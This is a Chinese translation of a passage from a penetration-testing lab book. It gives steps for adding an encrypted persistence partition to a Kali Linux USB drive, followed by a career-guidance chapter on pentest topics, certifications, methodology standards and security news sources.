拥有一个可启动的 Kali USB 驱动器很方便,但它有一个大缺点:你无法在系统中保存任何内容以便在重启后保持。即使是系统设置,每次重启时也会重置为默认值。当你需要保存项目数据以便稍后在另一台计算机上处理时,这尤其尴尬,例如,在一个专用的强大破解服务器上破解哈希。在这个子话题中,我们将解决这个问题,并使我们的 USB 驱动器能够存储数据。本手册基于 Kali Linux 团队的官方手册,但我们认为一些额外的注释会对你有所帮助。

牢记伦理黑客几乎总是处理敏感的客户数据,这些数据必须小心处理,而 USB 驱动器是一个容易丢失的小物件,我们还将使用 Cryptsetup 软件对其进行加密,防止未经授权的读取。这里的思路不是对整个 USB 驱动器进行加密,而是创建一个额外的分区,用来保存你的持久数据并进行加密

如果你使用的 USB 驱动器大于 4 GB,那么在录制 Kali 镜像之后应该会有一些未分配的空间。我们将使用这个空间来创建我们的持久化分区。步骤如下(我们将继续在 Kali Linux 虚拟机上进行操作):

  1. 插入 USB 驱动器并使用 fdisk -l 检查分区。

  2. 获取 Kali 镜像占用的空间(以字节为单位,我们的例子中是 3,167 字节):

    **du -bcm kali-linux-2.0-amd64.iso**
    
    
  3. 在 USB 驱动器上创建第三个分区,起始位置紧接着 Kali 镜像(使用你 Kali 镜像的大小值):

    **parted /dev/sdb mkpart primary 3167 7gb**
    
    

    如果 parted 提供给你另一个分配,选择并忽略以下警告。该过程应该如下所示:

    制作加密持久化分区

    分区创建过程

  4. 再次使用 fdisk -l 检查分区,你应该能看到新分区(在我们的例子中是 /dev/sdb3)。

  5. 准备一个强密码,然后继续使用 cryptsetup 软件加密新分区。屏幕上会出现如下提示,如果你尚未安装它,可以使用以下命令进行安装(sudo apt-get install cryptsetup-bin):

    **cryptsetup --verbose --verify-passphrase luksFormat /dev/sdb3**
    
    
  6. 打开新分区,映射名称为 kali_stor

    **cryptsetup luksOpen /dev/sdb3 kali_stor**
    
    
  7. 然后,在新分区上创建一个标记为 persistence 的文件系统。文件系统类型应为 ext3(此过程可能需要几分钟):

    **mkfs.ext3 -L persistence /dev/mapper/kali_stor && e2label /dev/mapper/kali_stor persistence**
    
    
  8. 然后,你需要挂载新的文件系统。然而,为了能够进行挂载,首先你需要在 /mnt/ 下创建一个挂载点:

    **mkdir -p /mnt/kali_stor && mount /dev/mapper/kali_stor /mnt/kali_stor**
    
    
  9. 现在,在 /mnt/kali_stor 目录中创建一个名为 persistence.conf 的文件,内容为 / union

    **echo "/ union" > /mnt/kali_stor/persistence.conf**
    
    
  10. 最后,你可以卸载存储并进行加密(关闭):

    **umount /dev/mapper/kali_stor && cryptsetup luksClose /dev/mapper/kali_stor**
    
    
  11. 让我们检查持久化存储。将 USB 驱动器从 Linux 机器中拔出,并从 USB 启动。当你启动时,选择 Live USB 加密持久化 启动选项,并在提示时输入加密密码:制作加密持久化分区

    Kali Linux 2.0 USB 启动菜单

  12. 当 Kali 启动时,在桌面上创建一个包含随机内容的文件并重启。文件在重启后仍然存在,这意味着持久化功能正常。

总结

在本章中,我们学习了如何为无线渗透测试准备一台“战斗”笔记本,列出了选择 Wi-Fi 接口的标准,回顾了必要软件的清单,并开发了有用的脚本和配置文件,以加快渗透测试的主动阶段。现在,你可以加载设备并开始渗透测试。在开始项目之前,我们强烈建议你学习如何使用这些工具,并在实验室中进行实践——这就是它们的用途!

到此,你几乎准备好开始学习渗透测试并在你的实验室中进行实践,但还有一件事没有完成。我们将在最后一章讨论:下一步建议,帮助你进一步发展渗透测试技能。

第八章。接下来做什么?

在最后一章中,我们希望给你一些关于进一步发展渗透测试技能的提示和建议。我们将描述以下步骤,这些步骤对成为专业的渗透测试人员非常有帮助。

本章将涵盖以下主题:

  • 读者可以学习的主题描述,以发展某些渗透测试技能

  • 渗透测试课程和培训概述

  • 渗透测试标准概述

  • 帮助渗透测试人员保持最新的资料来源概述

你可以学到的内容

毋庸置疑,仅仅建立一个实验室并在没有明确计划和适当学习的情况下使用它,显然是不够的。这种方法可能带来一些知识和技能,但它无法系统且全面地发展它们。我们认为,一个仅学过几种攻击技术且没有做好充分背景准备的人,是无法可靠地执行渗透测试的,他只能识别目标系统或基础设施中所有漏洞和安全缺陷的一部分。

因此,对于渗透测试人员来说,不断提升技能至关重要,既能识别常见的安全漏洞和配置错误,也能通过深厚的技术理解和自己获得的经验,发现不典型的漏洞。

让我们简要介绍你可能感兴趣的主要渗透测试领域(主题)。

基础设施渗透测试

该主题包括基本的安全评估知识,几乎总是与其他主题重叠,因为任何其他主题都是某种基础设施的一部分,通常高度依赖于它。

在这个主题中,我们将讨论所有网络组件的安全性以及全球和本地网络的安全。它包括但不限于以下高级主题:

  • 信息收集与枚举

  • 网络与安全协议

  • 客户端和服务器安全

  • 网络设备安全

  • 访问控制子系统和远程访问

  • 加密

  • 无线黑客攻击

  • 漏洞识别与利用

  • 隧道技术

  • 虚拟化黑客攻击

  • SCADA 系统黑客攻击

  • VoIP

  • 移动设备管理

如果你没有必要的背景知识以独立学习这些主题,通常从相关的课程或培训开始会更容易。

你还可以在以后向实验室中添加更多网络设备,以练习对各种设备间协议的攻击以及网络隧道等各种技术。

同时,安装各种漏洞扫描工具,在实验室中尝试,并选择你最喜欢的。

网站应用程序和网站服务黑客攻击

这是目前最广泛的主题,我们估计大约 75%的渗透测试项目都集中在网站应用程序或服务安全评估上。

尽管这个话题最初看起来很狭窄,但由于可用平台、框架和技术的数量,它实际上非常广泛。此外,网络应用程序通常是公司内部开发的,开发过程也没有标准化,因为并非所有开发人员都了解安全编码。总体而言,这为渗透测试人员带来了很多调查和研究的机会,比如标准漏洞类型以及更有趣的内容,例如应用程序逻辑中的重大缺陷。

一个好的起点是《Web 应用程序黑客手册(第二版)》一书,作者是Dafydd Stuttard 和 Marcus Pinto,由Wiley出版。本书不仅包含了关于漏洞类型的大量信息,还涵盖了整个网络应用程序安全评估过程。

当前话题的另一个必须了解的信息来源是开放网络应用程序安全项目OWASP)。请访问www.owasp.org获取更多信息。您还应该查看 OWASP Top 10 和 OWASP 测试指南。

我们建议您使用实验室中安装的网络应用程序,并开始向 Liferay Portal 填充内容,以分析其工作原理。我们还建议您安装其他流行的网络应用程序,例如 Kentico CMS。如果您知道在您所在地区的企业网络中哪些网络应用程序很受欢迎,可以尝试安装并进行攻击。这样做无疑在您进行实际项目时将是一个优势。

移动安全

移动安全与网络应用程序安全密切相关,但仍然是一个独立的话题。它包括设备和应用程序的安全性,并与移动设备管理话题重叠,而后者是基础设施的一部分。

要开始学习移动设备安全,首先了解最流行的移动操作系统(iOS、Android、Windows Phone 和 Blackberry)的架构和安全子系统。尝试弄清楚不同平台之间在安全概念和系统架构方面的差异。

可以在所有平台的官方网站上找到一些信息,但关于 Android 的资料最多,因为它是一个开放项目。Windows Phone 的文档也相当完善。

关于这个话题的一个很好的通用信息来源是OWASP 移动安全项目(www.owasp.org/index.php/OWASP_Mobile_Security_Project)和《移动应用程序黑客手册》一书,作者是Dominic Chell、Tyrone Erasmus、Shaun Colley 和 Ollie Whitehouse,由Wiley出版(eu.wiley.com/WileyCDA/WileyTitle/productCd-1118958500.html)。

物联网

我们推荐列表中的最后一个话题是物联网和嵌入式设备。虽然它还没有像 Web 应用程序那样流行,但似乎正逐渐成为趋势。我们可以看到,不仅是笔记本电脑、平板电脑和手机连接到 SOHO 网络,智能冰箱、咖啡机、电视、音响系统、恒温器等也都接入了网络。它们都有安全漏洞。部分漏洞可能导致无害的恶作剧,有的漏洞可能导致数据泄露或隐性监控,还有的漏洞可能让攻击者进入网络。随着物联网的进一步普及,几乎所有,甚至是所有电子设备都将连接到互联网,问题会变得更加严重。

要深入了解这个话题,我们建议你首先学习我们列表中的其他课程。此外,你可能还需要学习逆向工程,以便在设备研究中取得成功。

当然,这个列表并不全面,不同的人可能会对话题的划分略有不同,但重点是给你一个如何和在哪儿学习的概念。

课程和证书

各种培训和课程可以帮助初学者掌握渗透测试的基本技能,并且对渗透测试流程有一个良好的整体理解。当然,也有一些针对经验丰富的专业人士的高级课程,帮助他们深入了解特定的专门话题。

这类培训项目为学员提供期末考试和证书,能够证明他们已学习完课程内容并能够成功运用所获得的技能。

此外,一些要求进行渗透测试的公司需要渗透测试员提供一些资格证明,包括相关证书。综合这些信息,假如你打算认真从事道德黑客工作,可能应该考虑接受适当的培训。所以,让我们提供一些选择并回顾几个适用的认证项目。

EC-Council 安全课程

以下信息来自网站www.eccouncil.org

“国际电子商务顾问委员会(EC-Council)是一个会员制组织,负责认证个人在各种信息安全和电子商务技能方面的能力。”

EC-Council 提供一种所谓的安全课程,包括三个适合渗透测试员的知名认证项目:

  • 认证道德黑客CEH)(www.eccouncil.org/Certification/certified-ethical-hacker)是其中一个受欢迎且知名的认证项目。它包括为期 5 天的培训,随后是考试,如果考试通过,则颁发证书。该证书需要通过获得CPE继续职业教育)学分来维持,这些学分可以通过参加其他培训和研讨会、写书、教授他人等方式获得。你需要定期报告 CPE 学分,以更新你的认证状态。

    我们不会称它为适合成熟专业渗透测试人员的深度课程,但它对初学者非常有用,因为它提供了典型攻击类型和技术的良好概述,并展示了执行这些攻击的各种工具。

  • 认证安全分析师ECSA)是安全路径中的下一个中级课程。它也包括为期 5 天的培训和考试,但该课程更多地讲解安全概念,并更加关注安全评估和报告。考试仅在提交在实验环境中执行各种渗透测试任务的报告后才可参加。

  • 授权渗透测试员LPT)是 EC-Council 所授予的渗透测试安全路径的最后一级和最高级(大师级),该认证基于在给定时间内对网络基础设施进行真实世界黑客攻击并正确报告结果的表现。

为了获得任何 EC-Council 的证书,你必须接受 EC-Council 的伦理规范,基本上你同意仅作为白帽黑客(道德黑客)行动,不会以恶意意图使用你所获得的技能。

攻防安全培训

攻防安全 (www.offensive-security.com) 不是一门培训课程或证书,而是一家知名公司,向我们展示了如此出色的安全测试工具包,如 Kali Linux(前身为 Backtrack Linux)。除此之外,他们还进行渗透测试并通过线上和线下的专业培训教育人们如何进行渗透测试。他们的认证项目包括:

  • OSCP攻防安全认证专业人员):该课程涉及一般的黑客技术、渗透测试流程和报告。为了参加考试,你需要完成课程 PWK使用 Kali Linux 进行渗透测试)并提交一份实验室黑客报告。

  • OSCE攻防安全认证专家):这是 OSCP 认证培训后的下一级,包含更高级的技术和技巧。考试可以在完成课程 CTP突破周边防护)后参加。

  • OSWP攻防安全无线专业人员):这是一个实用的无线黑客认证。考试的前提是完成 WiFu攻防安全无线攻击)课程。

  • OSEE (Offensive Security Exploitation Expert): 认证名称清楚地表明了其内容。完成AWE (Advanced Windows Exploitation)课程后即可参加考试。

  • OSWE (Offensive Security Web Expert): 这是一个关于 web 应用程序渗透测试的认证。通常情况下,您将需要完成特定课程(AWAEAdvanced Web Attacks and Exploitation)并提交一个实验室黑客报告以参加考试。

注意

你可以在官方网站上获取详细的课程和认证描述。

所有 Offensive Security 的培训都是实践和动手操作的,它们是我们在其他认证和课程中最推荐的。

GIAC

还有另一个值得一提的知名认证机构:全球信息保障认证 (GIAC)。他们有各种信息安全认证项目,但对我们来说最相关的如下:

  • GPEN (GIAC Penetration Tester)

  • GWAPT (GIAC Web Application Penetration Tester)

  • GXPN (GIAC Exploit Researcher and Advanced Penetration Tester)

  • GAWN (GIAC Assessing and Auditing Wireless Networks)

  • GMOB (GIAC Mobile Device Security Analyst)

欲了解更多关于 GIAC 计划的信息,您可以访问他们的网站并找到所有必要的信息(www.giac.org/certifications/categories)。

渗透测试标准

为了创建一个全面且同时适用于所有情况的渗透测试标准,已经做了很多努力,但直到现在我们还不知道任何真正成功的成果可以声称成为行业标准。

这里的原因很简单,但却很复杂:每次渗透测试都是一个新的研究,无法用一组固定的预定义操作来覆盖。这个集合可能太肤浅而无法提供真正的价值,或者像审计一样过于确定,剥夺了研究的自由性,也许提供了一些价值,但绝对不能从攻击者的角度进行视角。

虽然我们不建议坚持任何现有的“渗透测试标准”,但如果您熟悉这里列出的文件(方法论),将有助于您理解流行的方法:

  • PTES: PTESPenetration Testing Execution Standard 的缩写(www.pentest-standard.org)。它由一群安全从业者开发和维护,旨在不仅系统化渗透测试的技术方法,还帮助渗透测试人员及其客户在各个项目阶段(包括售前)“说同样的语言”。

    该标准始于 2009 年,目前尚未完成,仍需要渗透测试专业社区的贡献。尽管如此,这个标准已经可以用于工作,并且为初学者提供了一个良好的工作流程概览。

  • OWASP 测试指南 (www.owasp.org/index.php/OWASP_Testing_Project):这是一本著名的 Web 应用程序安全评估指南,由世界各地的许多专家共同维护,并且免费提供。该指南不仅描述了典型 Web 应用程序渗透测试的工作流程,还提供了如何实际进行测试的基本技术信息。这绝对是任何 Web 应用程序渗透测试员必读的文档。

  • 渗透测试框架 (www.vulnerabilityassessment.co.uk/Penetration%20Test.html):这不是被声明为标准,但它可以被称作标准,因为它展示了一个系统化的渗透测试方法,并提供了一些可以在各个阶段使用的提示和工具。任何人都可以通过将建议发送给作者 Kevin Orrey,参与到这个框架的开发中,联系方式可以在网站上找到。

注意事项

如果你参加了像 OSCP 或 ECSA 这样的培训,你还可以获得关于渗透测试和安全评估方法及工作流程的其他视角。

信息来源

我们的专业领域非常动态且不断变化。它要求专业的渗透测试员或道德黑客始终保持对新技术、趋势、攻击和漏洞的敏感性,紧跟变化。

没有理由对一个渗透测试员来说,在检查一个基础设施的攻击时,依然只停留在 Windows 95 的时代,而不去评估是否可能对一个新发现的漏洞进行攻击,这个漏洞正同时在全球范围内破坏网络或应用。

保持与时俱进、保持专业竞争力的重要信息类型和新闻有:

  • 新漏洞、攻击类型和场景的相关信息

  • 关于现有或新技术、协议、标准以及与信息安全相关法律变化的新闻

  • 关于企业界重大入侵和数据泄露的新闻

  • 安全报告和白皮书

  • 安全研究结果

你可以从以下来源获得这类信息:

  • 各类安全新闻源(公开披露、Darknet.org.uk、Exploit Database 更新等)

  • 安全研究人员的博客(Corelan Team、Carnal0wnage、DigiNinja、Offensive Security、Blue Frost Security Lab,以及成百上千的其他博客)

  • 供应商和安全公司博客(例如,Cisco 博客和安全建议)

  • 安全会议演讲和白皮书(特别是 BlackHat 的演讲)

  • 安全杂志和电子杂志(Phrack、PentestMag、Xakep 和 Hackin9)

  • Twitter

  • 某些工具的新闻源(如 Aircrack-ng、Nessus、Metasploit 等)

获取安全信息和新闻的一个重要来源是 Reddit。其/netsec频道强烈推荐。大多数新闻在首次发布后几个小时内就会出现,一些新闻或论文还会有实时讨论和评论,充满了有用的额外信息。

我们根据自己新闻聚合配置提供了大致的信息来源概述,但渗透测试人员根据自己的兴趣和经验编制了自己的新闻订阅列表。

总结

阅读完本章节后,你可以规划作为道德黑客的渗透测试教育和个人发展。你知道在哪里获取信息以保持最新动态,并且知道应该参加哪些课程。

我们祝愿你在技能发展之路上充满耐心与成功,并且有许多有趣且充实的项目!

posted @ 2025-06-23 19:09  绝不原创的飞龙  阅读(117)  评论(0)    收藏  举报